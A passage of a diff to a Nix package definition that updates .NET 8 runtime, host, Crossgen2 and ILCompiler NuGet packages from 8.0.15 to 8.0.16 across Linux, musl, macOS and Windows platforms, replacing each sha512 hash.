-        hash = "sha512-EJx2Jr49xV6NJZK2AxThscHWiVcinvXd3LTzI6MjVB2OySn0qNfqoUSpUHhNz1ADJRJXB2jO+LZxM4YuerQSKw==";
+        version = "8.0.16";
+        hash = "sha512-CAnPoJS//D5PAZlA+/4dHGBP7RMdoo0kmG2kUOw0muB+bqsXIQ/Wdw4ztrgPC++BZlkwL9CLWWNk+fW/8mAuKw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-Syg70nYx7oyxDPWJfQFVnuiR6Xnc/gl1e7o7t68ZcfcHqoLBl6wgnxw/ePtmyqi7AgO+5iBs/JLadl97d+bSeQ==";
+        version = "8.0.16";
+        hash = "sha512-QMSFoSYbn3TUTWVnr/1ViHjgOhbKaoYwUrSXxxrlPdOBoV1rL6kwF4loEF49+6y7Ty1Q/Vl7ZvePYi9GbQzooQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.15";
-        hash = "sha512-+eissRQ4qa1RwEWiR7WD2Wp+sC9bPe4+eVhiGODUQH6d7yRPXze9IyQJdQtGdqVCV0++p2bE3/SQ73cNcNgGkw==";
+        version = "8.0.16";
+        hash = "sha512-7jFOBzAAjlw+RW85zQ4kuHw/BL+4RWxC9KNBfYUyOkvqjxhlTAS3oIO92myQsjEmm0VSrxck5HnTytcc8kxyiw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-b/u/co1T0RcPgCvTIxH7Hv4Ijag329sDo/b3W1mzJvdUDbeiAZiEoGbX7TPQsLmaf+YD4FreudmqFXhLBuLEJQ==";
+        version = "8.0.16";
+        hash = "sha512-kOC6DR5x2UtVDPDzwj3ULdvl27F0Q3rRZWId0d67tgqWCbp1dBf0RGounczSKP7J4c1CahnBVXTuzf/WznOYsw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.15";
-        hash = "sha512-jXJ9RVLTnG9F9AHefJjg0g0WPpGzWFoX+oYQhVBMUwYfferGDo3wprAXOyzbekNOkJwVJWWIOH3NkNqk8QkpUA==";
+        version = "8.0.16";
+        hash = "sha512-MZYQ4BYONhcpg07DLwMTG6HlAo+Q8m6pDwho3+G/YUrajvoMHbg3Y2Yw9XvLoGa5Cw3dUXa0eWiqx3pOuLuFpQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.15";
-        hash = "sha512-xJd5QkN2rwAtDqowBb0MeEAhDZQ4gCK6PobtqNF+mbVxCtt1iylUvmUdBkejyzO1DPyJ9cnmt9g0W2XD9/IpeA==";
+        version = "8.0.16";
+        hash = "sha512-jjkFD9g7N969HqTen91WEtcI7up91yKjR7C5S3BEzMpPDFJO2Y7Zuq3/8fz/h2emh+BQUYcSVBDHuOsfN01QDw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-7GfP1rYa4sR42nomqWsm8nsahpntMacfzDO51qONxwfNqzFSYUNjvMww+dUGGbXGfbAbOtMjvBqYcJWAiq3eKQ==";
+        version = "8.0.16";
+        hash = "sha512-+1sNjZRW3W7rPdIyxBKO4tNU/DXwpQ6d1FmfEqnVJbE5bFEQ+5WALIXP/0TGMI9U3N1xwRaHoSXVvTvSdw4wbQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.15";
-        hash = "sha512-CzIusWJPdzqTk8jRsd86fsVn7Di/mZG3EJzrAe1c4weii1mV/ry9yCXhvA6zUEjVvzO9TA1jMye7eUaBAnBB5g==";
+        version = "8.0.16";
+        hash = "sha512-ZdKdJXNFjLJYbsiGn4v/l9fFh2tysHXsNgkThb8PGjCparmv7RoNOq2ledsZBNAcWhHMU+B64tWFiix1rGNbkA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-DmcMpU+1GPbbnqluQlKX17smSAWqYlZWaUIjciSIPxfYciw2x4JWyP1Hejm+u9V1AvNM1u8oelB2RowPhtSgiQ==";
+        version = "8.0.16";
+        hash = "sha512-lzi29sKhg5QjgPf9NTexxX37iYqQUagpiPq0OT6fmVNfCrnzcAjYjA0klEAZlGE/0Brh3dhmsKUsXEZy8p4sEw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.15";
-        hash = "sha512-NtGjeAYFTpWZYdaWcEa9ioQmavVrHswUp63hUM5kwnRma/lEbL9e6XP+1N20/YAvc3gOgO7WwU7qhPs/EKoUaw==";
+        version = "8.0.16";
+        hash = "sha512-Hv957R9MMq2DFCVuf0AiX82IkAWnJ4sDr5anJwzoCQRgTsXqwg8u5jqjDE8Wo5YIK86muWeNgk5DV27j+xsrfA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-gsm6tMz6QgLt9SRd6K8nyYYc2aJO2zphmM/RVwjJsm1HEUoERugA+CSBjkma2bChFU24oOS54Np56l5eU6kH4g==";
+        version = "8.0.16";
+        hash = "sha512-BP7m4CEg5ggvyBDlWVVbQBlU1T7Jahnf6+Emt/3w3aXbdNp4AD+1jcJaaIXV+/A1hru5H9hmSsiIEuJsCjbEGw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.15";
-        hash = "sha512-kEJ4uTHbNdiJgjBKWL/EfBFmT9wvqgFs4L4Mmzj58YBWDu4daR4ojE1Nq7nPigCehtFFkbvsWtu9NK9Xo/dOVw==";
+        version = "8.0.16";
+        hash = "sha512-aRrl44G7/Vjy4AdrPEHIDefm5ew0VZXNq7GPaszXq846V38VnJhAU6zknNyBqlYzEAtNSyCaBXKtPrz5LsxqKg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-8eM/FH81oZ9e5DErjnMfEBbncqelSlw1wctoZOqKYM8vGPUev29q+MrmsENdBILQh6Wywoyz57yL9WoVSrig0w==";
+        version = "8.0.16";
+        hash = "sha512-uk2pxu2NzxhLIdy85gikp6OCBUMYeTPCYt9BDQefc0G6eqaEhPDloc+WocqWLYs+vX6IM3qEhL41aYaY8KnZQA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.15";
-        hash = "sha512-axGBDt1oCr+72qNTd3+hWBZIZU0IlC6uKX3wW47iBqoNkDIzWwVnapw0AmcS90T+GW7R5yZhaNInb3SvsefaXg==";
+        version = "8.0.16";
+        hash = "sha512-m6WHjEfXIHp+h+q4KSWknLGgM+zfyDF3P2GSftA8BA2/u/HD93CK0FxatQR6m8YB6Bd9vpx1kUNVqBqmAmuObA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-jivoMimThgj3Vv+24T6qzLKfEvDIandHqhEGJ4B09VRF4W2cu15cqItf7TsqFmgyFAQOHB+uuOZERAWKucJQ6A==";
+        version = "8.0.16";
+        hash = "sha512-HCWrW2RPsSmsoVvHW1oh9vogOeqNLqmseahNP6HJbuZVnU3pw20nvHBm67547Upx3C2um0Y2Eix4UOwUzmAckw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.15";
-        hash = "sha512-OLO6SHlfiRiD815e+DP5pOWoXfiYzz5tk9KeZmS9ZtaLWWbIXEbeVyb9r150s0tFSBU4WIXBkWs2KI6+/VHxIQ==";
+        version = "8.0.16";
+        hash = "sha512-bt6PWTJmhE7GdZBbF+Dtue0cGlvZ7ihUSLivLxpoHH3ANwITJqnyPWllxrfflrDfLCaDBE6WspQ4jeuepiqShg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.15";
-        hash = "sha512-3XwkREPGrtUsbV1pBsb7YoIbqHHV0w0E2l+K7CM3d/cBoW4xOFKtECsBxFJ1eMcqRASzRRNJyyfdoq8799MVYw==";
+        version = "8.0.16";
+        hash = "sha512-erkrCvfM0GCpctVlMtRk2nwDkUhFWjcTg3stKRDK9ALvtgNVICghe83UciBKlCvhmq9BtwrEECrqst9nimTeZw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.15";
-        hash = "sha512-/wZ+EmaaWLURlU1Sz0nUbHuIv04lyorcyM8icLexsxSm79NYTyCg8oJ+tczE8kpkNMwuvDz8A3jZqI2ICA5/Lg==";
+        version = "8.0.16";
+        hash = "sha512-OPX3Dr6avujuCFr++QsKO0M6wmldtpNVoOLw/vuAfx4os8iMjD3/0e2YhLNPakFHXm3F7tAs9ArSFcrLISClQg==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.15";
-        hash = "sha512-FB5+CWVSZymzAiTNwehM05R2J6GEpGccsMNKWZR9xGto8MNIf25HhsjCsH5hojJrwdbRbxXHQLNSidE7MsR0UQ==";
+        version = "8.0.16";
+        hash = "sha512-zQtpJtQsIwiRioQqNHA+gyfYORoYk96PJMd20S3dJRTms9zJarx44X9gtZCHxXeR1D3/XfKKAwASfTV87EsM6w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.15";
-        hash = "sha512-i92NoNoaMMUd8dIOhKaKmwU3aLOEh3u6d3VOpnFI9m9crFDRVe0FTKPtCXwPOGMvDMmwOoJQUV50beKY91nVHg==";
+        version = "8.0.16";
+        hash = "sha512-fXnAL3PgEji1ztgKsuqXfuV56n2FZEzVgHX9R2HSsV1yEfAypwHDNYzB7bW+dcWsmzijD4f60UJJOmlYuY8sNQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.15";
-        hash = "sha512-lrIPRRX4gCaOAnRA7c+NxpsOIemZNkWHUtyHIruXVcRkLIJLl+QNKAdgsLjqEJRrt087S2nPj3AUz6TJixS36A==";
+        version = "8.0.16";
+        hash = "sha512-DV5JG9tZMaGgcT3sHWriN0w3drMJ6kEmYFKHyt70gt0d1aBxhZrWsdjAq2oVMSY4qlWyIszrQff4MObBWRluyw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-jkJtd9m7HKpjO7oyB2JtTGCERzrfjVwZ2T9m5KSMX221aGvWe0TvPXx2i1orBi7lWMqQ9pR/uQ+5Lsowf/6S5Q==";
+        version = "8.0.16";
+        hash = "sha512-ZOM5DcPvB0lfJwbt3kNcs6fS9u/58UuqV9FjodMc2vdDVhwicmolnvEnsuV/Y+3Yh9qLTGh3H1XY9IeIuvelcA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-4Lc75UYVKJDoRl20jkmL4SMTzUj048P2MbrGABTlp1KTZK2adw5RzD7cHU7pxKjuKpht408Gf/tb/1Sj9faCiw==";
+        version = "8.0.16";
+        hash = "sha512-3CQk9N/l9/3nV6tgpiedyqy+oNFL7T7WNPWF4whUGm7yLkJsoFtw6Pc5LwyT3OYyiXdEnPbAkDBQuNpJ+zaBkA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-GvKKkPcXkmwFEFEYDDEl6T+HU2En4HDz4cEysMDiwu6Q9cSuTa1rwm5XDqUzK89J1YrTeoHiyTJIaOJZ22KQ7A==";
+        version = "8.0.16";
+        hash = "sha512-I7DsyLTf0ZGXu9L3D6iSp2dw+PkuDBa+vqvfl0EdSRjgE16nraXjVGh/SK2ASaJi351xbboEpRqewZcWTCKxWw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-g5RqYI7EBF7blaaqPfG+PAZwSQnPwWy/7/ogKy7i9Dy33G0yZ+/mTN4iMFxyCY5pptU94M5mFsU3OySvD48tHg==";
+        version = "8.0.16";
+        hash = "sha512-7h6k9pSSvDXC1TtcmKykPg0Oz3k0MNfahqQpBQAEtxZ4xVCuGk0rkzheWqvbLSehVIk/9PFtu4ZeO0dH4rEgBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.15";
-        hash = "sha512-gQNtJhLIhrS4lStAIQ5LnRhlo0fA2yGzl4t3qN2DlI/mmVcVAevQxRlC1jAKkpsHzM4XDVHBpJl3l6eXQdVNSA==";
+        version = "8.0.16";
+        hash = "sha512-YBhocmkKTz5ABulIf3WW2NjH85W4O1CVysmY1LgWCMlTAX1uw0MRaJMtXUR7COZLHbHXNAPD7FNwuuYMgmIhUw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.15";
-        hash = "sha512-Nwa5IVNw59QmwYgLd0QgRS7HPcujRH70EVCPY1uADEaXcHw5X8uXF/6eyS7i+Idd3+2T9IjU3RL823ULKsm+Uw==";
+        version = "8.0.16";
+        hash = "sha512-6ju7d3rPYcKBvwZKr/z2RQ3ctBczul4JO55fttyOA/oifm1LUAY3TJtgagAF9pf4j5HuCoXTzvV00ZZEqtXLPg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.15";
-        hash = "sha512-ABmyvhWR04RmwVHY+b69QvUEJbsYB0jHrHVmJHhHYL8iSJ1LTv3Q43nKU6t1R+cemOVfy17CRHvVpBVrqe4/Ug==";
+        version = "8.0.16";
+        hash = "sha512-15ih5bce3YmsSs9MFp/NH4UY3/UMMyRs+4TKWolHguVkNbPcYdWg8YL0Fhr4c7A7wAnDHhCCgSqmcOFYI4N1/g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.15";
-        hash = "sha512-8qZa3YuY5Uu4D9cgEzMezCewK0cQk2+3/jzRo+H7GdWn03724iKRDcBvVrf0M8tslu40FdmFPZp3yOWx3wRAsg==";
+        version = "8.0.16";
+        hash = "sha512-MGj69hsPIe4e5Z6HXS+T2KplPzuZqETZLSP1oftted94gXOO1KOHJoDd2VbBVBpooMfqaeXUdw1NtgdS4NDLJw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-2Q62qV43seDzLhNsNO7UT81zn/NdXHNiBpSkyaw+XISuKyRSz6foV0OZKaVc3NlJm5dEE/hX2Nwhyh6tq3G/og==";
+        version = "8.0.16";
+        hash = "sha512-XwkekqnJyq3V/rXSu1WZlxzihsjvNV4ZbTQnb46583LeUJbG1o3ra8EofvxA/jA+ryXMpJxaQmVRNODJy1kIsw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-HIHvG0D+9sZPH7yeP+7wSC09EgdedBr/SblSV0LkIg2GkAPUsmC8JcwcX9H+oLdksYHAsJCYwFMxxMt92rIQyg==";
+        version = "8.0.16";
+        hash = "sha512-wZCw0LIMH/WIDqiIU8zHyOg+EWExwu3S4T1JMTd6xra7HXGWlHQKj14A6P0d946lOVqjLxfW6IZXdgmALTan8A==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-VmJGFUr1sV3G+dpiXV6uEoy3pjN6Xaxnfj2WdOlbQb9syABFvt8W1C4+hZr+TZAO46lx2QY9lQkMfDOKkI0+ew==";
+        version = "8.0.16";
+        hash = "sha512-9u78cVhiXQWJQsE2xxGcx2hbvaHImV1RcwtxIt9jjhh20SFJ0SoK5idgSbSh5q/63WfMoWKHPOkT5Er/whQ/3g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-VDUJWB0ML11vjXbhVnMwoc+gv1opjT14V/+O7Bu9O4VhglOf16X9OEen8OEChWCyAiHH2bL6Fij1lkpYArocXA==";
+        version = "8.0.16";
+        hash = "sha512-4PjcN/ILs694XXBFjzrxqBsqzqAAU3UwwPkn/DmZYgG+oCvNhToiFYMOmHRSR08s+bHevGbDkpC7tHAS+S+UCQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.15";
-        hash = "sha512-y/wcDYSv7P2Gd/FDLudGCmp+7UAlEXF64BS391Zzf5q6Cf6pSzw3SW9hmPkEswseJEtb2E9JHXz37dFY37vU7g==";
+        version = "8.0.16";
+        hash = "sha512-qHM2tlnjKfDdZ6HWLQ3Ffo2lIgW68VY4cAy49Wjhj7k2dGf8Aj16bWpDxo/WEd9PrsXeKaggdFTHwsv82lpDZw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.15";
-        hash = "sha512-74QA0OO8eW/Ux+aqMuna/pW24IdQ0+I1aYHuFiuG/hbuJTzV3bzZCgj1Xy/RJfWeWzMyOZE9RuDdIOalkO0h1g==";
+        version = "8.0.16";
+        hash = "sha512-2/VRY3SLruFnV2eziW5dl5KgIzB6mIqXfPD8A0yLQ4+0iYqnU5jjCrhSlvcy2xtH+tqkq4DAjSoJ83UjZoxg4A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.15";
-        hash = "sha512-20mA8ab/UMznw4dR8fm+/eTAUL9s68jSmo1KLyVhej5adk8WcciIgd5zokrpJUD9iE0+2vufILw6PXwRfLcLgQ==";
+        version = "8.0.16";
+        hash = "sha512-Cf3ePr98FaAHMX7mTGTEHMHHPvLlar5MktJIHJFda37u7RX4UYDABk1J60EdOUdXmhVQQ5gxZyBlD7Zj2ZjQaQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.15";
-        hash = "sha512-QB1S5s7DqaAlekzYmSDx3xs13jFr3878W+PQW0n/gdvUeqvjNCGiAChhqQnF64DTvaJ0xkFOIr7f2AbleDVaAg==";
+        version = "8.0.16";
+        hash = "sha512-13QUsacD+oc6WO516SyH1F2d+QgfFMGzdzIEMMZEDNKCYSZuYDL2R6Qs+9kTfiFHZgt7P/WAAA3UV/QxlxlQQQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-ADWyGJHkZ7eY3RMMvXSk+/86JDylPg1GmW07rhkgtHAvnmMZPnKBYDTYZF5xFYJJ0w4xLJmeCVINFxPHOJyQCw==";
+        version = "8.0.16";
+        hash = "sha512-6/l2nBV8h4meBgQPsthQw69pZJNSmbtmLGKaHPfzIlPHD6A2zI3rVjvmgU8Ahn6rL6/TnZTpC1KdaWzRCsdGZw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-0RlBxvSBjYfadU25bcCdkxyKLJfDgJycO5gxC4/cJyFPCoC8adryo90jheVj4Amb5yrGg1uo1CnTBsWhM0J23A==";
+        version = "8.0.16";
+        hash = "sha512-lFK5CU+pkCWqr/mmRec63X+tdF01eZmaOcdc6K9lTV08hS0rPl2F1UK1RmOn1eZSMD94w2M86LZKZNLwI5E5FA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-hdPRpcAoUmQU88Ycocy55AgdKMAd0nkJEE8Dz+Tq8irmGK+D/lFpPk//QEARtidhh92mejmmIeSF4Eh+qIb/uw==";
+        version = "8.0.16";
+        hash = "sha512-UiaOuNRso4nVM1DzBL3i98WR9gnLg+DnQaK9ZXVu+jXsQ/19Fi92A3Lar5H2WIbtaQcngbYCG2HXRkVYdtHsUA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-he+B6x62ju23jEcUdU7ii0bIyqFrhfvQliJc+wJ2eGR5bKLlEIcy7CpqeGIi6qcpa2FVdwsiW1ISk0Wwb/IKEg==";
+        version = "8.0.16";
+        hash = "sha512-TqzAj3Vdql+FVkkAvrCVADoCfjBkryuFuYNPI6VnriQgMBHPbeD+In9hqrbMdmjTGtdXMbqVYSZttlJwvwpVaw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.15";
-        hash = "sha512-7Hwcas9/rRIcxe4SbAMMFHCxxNS2soGszRv61I6ZgNejn7IIV/Npgt/t9LaZWMMHwMG6kTCxBUsJbWToqDydWQ==";
+        version = "8.0.16";
+        hash = "sha512-xUyQ40LnE8H82Vi8wU9zKjiW+u/nsOnyKYUnPnEWhDvpF4xsJOC2bG7d8zXYKhFGGbBw/nCw/b/alhGzIfy2Iw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.15";
-        hash = "sha512-ENa8FL1tEoGdsmpDkwrOJNmmOkDz9nJ8mxTnCHxB41WFkfr+0wo7WaZsTlEDQPQ86lKk75aiT5fqfSQTVeXl4A==";
+        version = "8.0.16";
+        hash = "sha512-peJrVIokSCtP06QIUP5YXSPDysocDOaMFwnFWDhNqD2qZFluJVxTxS16WHBNRhZphQ05CflNH0gq1HMpSeV5Jw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.15";
-        hash = "sha512-56i9Jhoj1hBALQgaD9X4Z0XWXdLH9Lw7yrMFlybjERUa7h12cWlLrEhPNOvMluzfEPruxTHzdmXKgKTb0BIt2Q==";
+        version = "8.0.16";
+        hash = "sha512-HTIcDrg9ZYCTRZv4nSftTxe7UhFYomff2fMVqRsX/4QBgeuF72KIbvAihv4wPBDNh6RSAC+qPVtZXZCtJO0AEA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.15";
-        hash = "sha512-GHPoVbx0cOQEpVBHH0Ih5lJPyAPtYHsmqiNdz/eR/FJw6gc+ZKMn0vvSeIF0iaBcMX/X6x9PcVqlrbGD+BlLRQ==";
+        version = "8.0.16";
+        hash = "sha512-9Wj8HvYDiJ6YEqFtyTnxeKKHtCSI1PorGAsuuA//jCqX2WqEEt9+vVcCZLs3ge0S/3vEwELeu7xPXabAwiIsyA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-suxTQJtqUAgugQVsK+79qvedbqC6yT4URkyK6k3HVeazpspk1cqn+A3r58e4zjy27rjGAQ78oMZ/nb+hiiN79A==";
+        version = "8.0.16";
+        hash = "sha512-RfJHtnXtwALzUNOvG8FVqvfEEhAQ+KzgzTK1p+hf3qA+X79iA9Rwq9dj6RHE8Fjt3FMXb+8inialcu6/+7/Lvw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-0v+GoHGdEmMqZg147sUsm42E30iigJUFG1h0GZICou6IRb3d9WTFK6eLnn/ErN7FAfPmcyFyK+8TADM8LZnrlA==";
+        version = "8.0.16";
+        hash = "sha512-V0vfD3Z+O/2atM3bJivfm/BKo5QUSaqroFHuYi1jVilICslvVoDfKood5wgUX91T/TKkVzGG5kZknxgaylw1AQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-JDCLE+YJI0iuToNrf9V1978XWsNjx7r5jUKVIHIn8gSe+kMjZDM3IszMpMq0V1Kj9h4ko/Dp8C6oiClUjEkAGw==";
+        version = "8.0.16";
+        hash = "sha512-GpOecd88g22c3eMXwE6N4fa+dODPrMyC3xkbMOivdqH1Gt6Qmj/VF3OwnwhFMaaWXILCI7wkU558D5mj2IcbLA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-gcIU1EBdA7ReuPEZ0rxVJkt6/fZ55nQA+jdIRy04xPNVrEYdDWJ27bfINKnvxKj7aN/cRVM2xHagbiYIxgyqbw==";
+        version = "8.0.16";
+        hash = "sha512-+wj+u4y2B7RI6FbkJJN4uKtkJploawLSRUc85tHfKSRd/VWUVrg+NQ2Ii4YADE2aaP9x1yVJRei8tChJm9XHaA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.15";
-        hash = "sha512-/gcOujy+jgXgaY2aZEWhejc2u9waMjVH1aHBn/YO1ZD5GsetynhdCvSSY2D/7vb+F0l0K0lJySUGQPqNsGLRng==";
+        version = "8.0.16";
+        hash = "sha512-N0D3EjGiPUbiA6TscqS8k2F7DqZqtjYOfFQ+PPfDWAiGP0/UvuX2HtOYxEALNUGzn90KtMXJUBfI/sKjxCQp1g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.15";
-        hash = "sha512-8wfjhoiE+SUzzUQ0yr+kxSDIY6lEh7REw4bmEiTKemP7vtmcQT2Y/xLeu0ND+VHfRM8tRXHy4HHhaoWvXvFKkg==";
+        version = "8.0.16";
+        hash = "sha512-x9FtAd5kb6DbrUSLYtJ9cKog1Z/709IzwCPy7eG1RawnUP2v0Q0tdJOXdvoaTyVgsbW/NEgvJVd3ngP6SauIIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.15";
-        hash = "sha512-yZLsIeuoD73jdIEWrOErfU2rb0l7HNfHGUHX40SmjdPMFMrrp8K6oN2CnebupyVF/0N8CrOGyIO3VTzbfrrgfA==";
+        version = "8.0.16";
+        hash = "sha512-GiTTne4boLVAyJ0CJDbpBWZw9oA6+Rg3e2h38LwfzF7kS1jPZbc10igA9ZsnUCOYAFxzWzNi70Bb5icTRRBSjA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-JjedHSklPNkXZyMBKvrJTsbCqJ8SQ/leHA1S8niVk8g4UIVzaywZByjvDRhJ8Bu2IZEvQM42C58Ufy/0EVW4Ng==";
+        version = "8.0.16";
+        hash = "sha512-nF4234V77TrV7JSbSx34EuMl4qnyfODinwdSpZ6uX0MKUEwk42G8MT1/gLZBp8cvGv0I6Yg78+E/39Zd82RQBw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-0Ea1c8JZ80/wG+3ea0VYGc1lSC43PT8kffVYXHVAat9sHyttty4nECDs16UHq5huSldwfqD0PTa91mwaIeMQqQ==";
+        version = "8.0.16";
+        hash = "sha512-VCfPdIVCm8hIp8XaaPw4vg7eRuS+UQhST5xuPHbw+v7wInifU56jkapE56+c3TB1J0QoyUUL527sp15QqugXuQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-+ncaL8reGvMfULx5KAkwEuViNhBH/B0b/SFJTWoZ4hNjv8mQJP87hZL1i/dm3V+Mdx15lwKacTRMoc9kq749Tg==";
+        version = "8.0.16";
+        hash = "sha512-MofzgXDj9xPc1cm9RpzvOMeBLqfQEIOrctQMauI5CvoH8cVZdQWEo7EDCkWiJvKJjBKhStQ8PFiJGymmf0aPsw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-nPRpOYzddjtC9lCM+8VUAIXDsmFQ2mJUC6d1BnjK6J2hWmKS4rjbteZM4mL3xEyrv3LpdxTO9e4eus0wd61Ypg==";
+        version = "8.0.16";
+        hash = "sha512-ZpUWmllmq2HR7eY21ettHwFv3BapesdBsI76kjtGriNOivMQwWd1/21ss2PeKFd//HNZ0SjMAX/AUPoc6qUl0A==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.15";
